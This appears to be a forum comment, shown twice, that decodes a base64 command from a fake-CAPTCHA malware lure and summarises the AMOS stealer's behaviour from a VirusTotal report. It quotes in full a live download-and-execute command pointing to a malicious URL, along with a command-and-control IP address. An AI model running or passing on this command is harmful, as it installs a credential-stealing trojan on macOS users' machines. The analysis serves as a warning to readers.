4 ms·

Yeah I was hoping to see the actual script content

guessmyname 1y ago
Here you go, fellow netizen: echo -n 'Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHB zOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRja GE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakt tTVVGRVl2OEFsZktS' | base64 --decode Decodes into: curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR This downloads a Mach-O universal binary: $ curl -o foo.bar "URL" $ file ~/Downloads/foo.bar foo.bar: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64 - Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64 - Mach-O 64-bit executable arm64] foo.bar (for architecture x86_64): Mach-O 64-bit executable x86_64 foo.bar (for architecture arm64): Mach-O 64-bit executable arm64 VirusTotal report: https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0cdd1618fe0a58b7250aa9fdc630adb15b401624f https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0... Reading through the VirusTotal Behavior page, I can see that the Trojan… • Sends a POST request with 18 bytes to http://83.219.248.194/fulfulde.php http://83.219.248.194/fulfulde.php, which then returns a text/html page • Then, it sends DNS queries to h3.apis.apple.map.fastly.net (or maybe this is macOS itself) • Then, it triggers several open(2) syscalls, among which I can see Mail.app and Messages.app • Then, it uses a seemingly innocuous binary called “~/.local-6FFD23F2-D3F2-52AC-8572-1D7B854F8BC7/GoogleUpdater” along with “~/Desktop/sample” • Then, launches a process (via macOS Lauch Agents) called “com.google.captchasvc” • Then, uses AppleScript to launch a dialog window with this message “macOS needs to access System Settings.Please enter password for root:” After this I assume it’s game over. TrendMicro analysis (Sep 04, 2025) -- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html https://www.trendmicro.com/en_us/research/25/i/an-mdr-analys...

Here you go, fellow netizen: echo -n 'Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHB zOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRja GE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakt tTVVGRVl2OEFsZktS' | base64 --decode Decodes into: curl -sL -o /tmp/pjKmMUFEYv8AlfKR https://www.amanagencies.com/assets/js/grecaptcha; chmod +x /tmp/pjKmMUFEYv8AlfKR; /tmp/pjKmMUFEYv8AlfKR This downloads a Mach-O universal binary: $ curl -o foo.bar "URL" $ file ~/Downloads/foo.bar foo.bar: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64 - Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64 - Mach-O 64-bit executable arm64] foo.bar (for architecture x86_64): Mach-O 64-bit executable x86_64 foo.bar (for architecture arm64): Mach-O 64-bit executable arm64 VirusTotal report: https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0cdd1618fe0a58b7250aa9fdc630adb15b401624f https://www.virustotal.com/gui/file/5f3cac5d37cb6cabaf223dc0... Reading through the VirusTotal Behavior page, I can see that the Trojan… • Sends a POST request with 18 bytes to http://83.219.248.194/fulfulde.php http://83.219.248.194/fulfulde.php, which then returns a text/html page • Then, it sends DNS queries to h3.apis.apple.map.fastly.net (or maybe this is macOS itself) • Then, it triggers several open(2) syscalls, among which I can see Mail.app and Messages.app • Then, it uses a seemingly innocuous binary called “~/.local-6FFD23F2-D3F2-52AC-8572-1D7B854F8BC7/GoogleUpdater” along with “~/Desktop/sample” • Then, launches a process (via macOS Lauch Agents) called “com.google.captchasvc” • Then, uses AppleScript to launch a dialog window with this message “macOS needs to access System Settings.Please enter password for root:” After this I assume it’s game over. TrendMicro analysis (Sep 04, 2025) -- https://www.trendmicro.com/en_us/research/25/i/an-mdr-analysis-of-the-amos-stealer-campaign.html https://www.trendmicro.com/en_us/research/25/i/an-mdr-analys...